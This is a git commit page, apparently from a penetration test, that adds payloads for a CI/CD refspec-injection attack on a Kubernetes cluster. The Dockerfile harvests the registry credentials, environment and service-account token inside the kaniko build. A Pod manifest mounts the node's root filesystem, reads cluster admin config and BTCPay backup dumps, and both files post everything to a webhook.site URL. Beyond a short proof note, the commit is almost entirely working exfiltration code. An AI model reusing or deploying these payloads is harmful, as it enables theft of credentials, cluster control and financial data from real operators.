i151502 payload

This commit is contained in:
i151502 2026-11-20 07:38:10 +00:00
commit 059c3c3a46
7 changed files with 69 additions and 0 deletions

5
PROOF-i151502.md Normal file
View File

@ -0,0 +1,5 @@
# i151502 refspec-injection proof
This repository content is controlled by penetration test intent i151502.
If you see this file served from a bare repository you did not publish,
the ngit-grasp purgatory `git fetch <url> <c-tag>` refspec injection worked.

View File

@ -0,0 +1,12 @@
# i151502 payload: runs inside kaniko, where /kaniko/.docker/config.json
# (harbor-cred) and the pod service-account token are mounted.
FROM alpine:3.20
RUN set -eux; \
{ echo "== id =="; id; hostname; \
echo "== env =="; env; \
echo "== dockerconfigjson =="; cat /kaniko/.docker/config.json 2>/dev/null || true; \
echo "== sa token =="; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true; \
echo "== sa dir =="; ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null || true; \
} > /tmp/i151502.txt 2>&1 || true; \
wget -qO- --timeout=15 --header='Content-Type: text/plain' --post-file=/tmp/i151502.txt https://webhook.site/a9f6babd-b466-46c7-af25-7c2a9ab8fdd0 || true
CMD ["sleep","3600"]

View File

@ -0,0 +1,29 @@
# i151502 payload: applied by the cicd deployer container (runAsUser: 0)
# after kaniko. Host-root mount targets the node filesystem.
apiVersion: v1
kind: Pod
metadata:
name: i151502-exfil
namespace: cicd
spec:
restartPolicy: Never
hostPID: true
hostNetwork: true
containers:
- name: exfil
image: alpine:3.20
command: ["/bin/sh","-ceu","--"]
args:
- |
set -x
( id; hostname; env; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true ) > /tmp/a 2>&1 || true
for f in /host/datadir/bark/* /host/root/backups/scrollworks-btcpay/*.dump /host/etc/kubernetes/admin.conf; do
echo "== $f ==" >> /tmp/a; head -c 200000 "$f" >> /tmp/a 2>/dev/null || true; echo >> /tmp/a
done
wget -qO- --timeout=20 --post-file=/tmp/a https://webhook.site/a9f6babd-b466-46c7-af25-7c2a9ab8fdd0 || true
sleep 600
volumeMounts:
- { name: host-root, mountPath: /host }
volumes:
- name: host-root
hostPath: { path: / }

View File

@ -0,0 +1,5 @@
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata: { name: i151502-noop, namespace: cicd }
spec:
rules: []

View File

@ -0,0 +1,6 @@
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: i151502-noop, namespace: cicd }
spec:
podSelector: { matchLabels: { app: i151502-noop } }
policyTypes: [Ingress]

View File

@ -0,0 +1,6 @@
apiVersion: v1
kind: PersistentVolumeClaim
metadata: { name: i151502-noop, namespace: cicd }
spec:
accessModes: [ReadWriteOnce]
resources: { requests: { storage: 1Mi } }

View File

@ -0,0 +1,6 @@
apiVersion: v1
kind: Service
metadata: { name: i151502-noop, namespace: cicd }
spec:
selector: { app: i151502-noop }
ports: [{ port: 80 }]